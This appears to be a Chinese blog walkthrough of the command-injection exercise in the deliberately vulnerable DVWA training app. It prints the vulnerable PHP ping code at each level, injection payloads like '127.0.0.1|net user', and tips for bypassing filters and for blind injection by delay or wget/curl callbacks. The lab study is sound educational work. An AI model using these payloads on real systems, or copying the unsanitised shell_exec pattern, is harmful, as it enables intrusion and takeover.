复制代码

2. DVWA亲测命令执行漏洞

 


 
 
先看low级:
提示让我们输入一个IP地址来实现ping,猜测会是在系统终端中实现的,
我们正常输入127.0.0.1:

那我们就可以利用这个使用其他CMD命令

 我们输入127.0.0.1&&net user :
 
我们顺便看一下源代码
<?php
 
if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = $_REQUEST[ 'ip' ];
 
    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }
 
    // Feedback for the end user
    $html .= "<pre>{$cmd}</pre>";
}
 
?>

 

这样的话,我们甚至可以用这个漏洞来创建管理员用户,控制电脑


 

Medium级别:

提示让我们输入一个IP地址来实现ping,猜测会是在系统终端中实现的,
我们正常输入127.0.0.1
那我们就可以利用这个使用其他CMD命令
 
我们输入  127.0.0.1&&net user : 
 
发现少了两个 && ,初步估计,应该是后台代码过滤了,我们来看代码:
<?php
 
if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = $_REQUEST[ 'ip' ];
 
    // Set blacklist
    $substitutions = array(
        '&&' => '',
        ';'  => '',
    );
 
    // Remove any of the charactars in the array (blacklist).
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );
 
    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }
 
    // Feedback for the end user
    $html .= "<pre>{$cmd}</pre>";
}
 
?>
发现这两行代码
$substitutions = array(
        '&&' => '',
        ';'  => '',
    );
果然把 && 给过滤了,但是还有 | ,|| ,& 等符号可以连接两条命令
 
我们可以输入 127.0.0.1&net user :

 

我们可以输入 127.0.0.1|net user :

 

 
我们可以输入 127.0.0.1||net user :

 


 
High级别:
 
这次我们先来看源码:
<?php
if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = trim($_REQUEST[ 'ip' ]);
 
    // Set blacklist
    $substitutions = array(
        '&'  => '',
        ';'  => '',
        '| ' => '',
        '-'  => '',
        '$'  => '',
        '('  => '',
        ')'  => '',
        '`'  => '',
        '||' => '',
    );
 
    // Remove any of the charactars in the array (blacklist).
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );
 
    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }
 
    // Feedback for the end user
    $html .= "<pre>{$cmd}</pre>";
}
?>
有这样一段代码:
$substitutions = array(
        '&'  => '',
        ';'  => '',
        '| ' => '',
        '-'  => '',
        '$'  => '',
        '('  => '',
        ')'  => '',
        '`'  => '',
        '||' => '',
    );
 
这过滤的真多,简直要赶净杀绝
我们可以输入 127.0.0.1|net user :
 

Impossible等级:
 
我们先来看代码:
<?php
 
if( isset( $_POST[ 'Submit' ]  ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
 
    // Get input
    $target = $_REQUEST[ 'ip' ];
    $target = stripslashes( $target );
 
    // Split the IP into 4 octects
    $octet = explode( ".", $target );
 
    // Check IF each octet is an integer
    if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
        // If all 4 octets are int's put the IP back together.
        $target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];
 
        // Determine OS and execute the ping command.
        if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
            // Windows
            $cmd = shell_exec( 'ping  ' . $target );
        }
        else {
            // *nix
            $cmd = shell_exec( 'ping  -c 4 ' . $target );
        }
 
        // Feedback for the end user
        $html .= "<pre>{$cmd}</pre>";
    }
    else {
        // Ops. Let the user name theres a mistake
        $html .= '<pre>ERROR: You have entered an invalid IP.</pre>';
    }
}
 
// Generate Anti-CSRF token
generateSessionToken();
 
?>

 

我们尝试输入 127.0.0.1|net user :

这里直接限制了输入IP的格式,有效地防止了命令注入

 

小技巧
1.如果过滤了敏感字符怎么办?
   比如如果过滤了 whoami 命令,我们就无法查看当前用户
但是我们可以用 who""ami  who""am""i 这样的方式绕过
2.如果不显示输出结果怎么办?
延时注入:
     系统
       命令
windows
ping 127.0.0.1 -n 5 > null
linux
sleep 5
 
远程请求:
     系统
      命令
windows
ping , telnet 等
linux
wget , curl 等
 
 
 
 
posted @ 2018-05-24 20:10  bmjoker  阅读(2894)  评论(1编辑  收藏  举报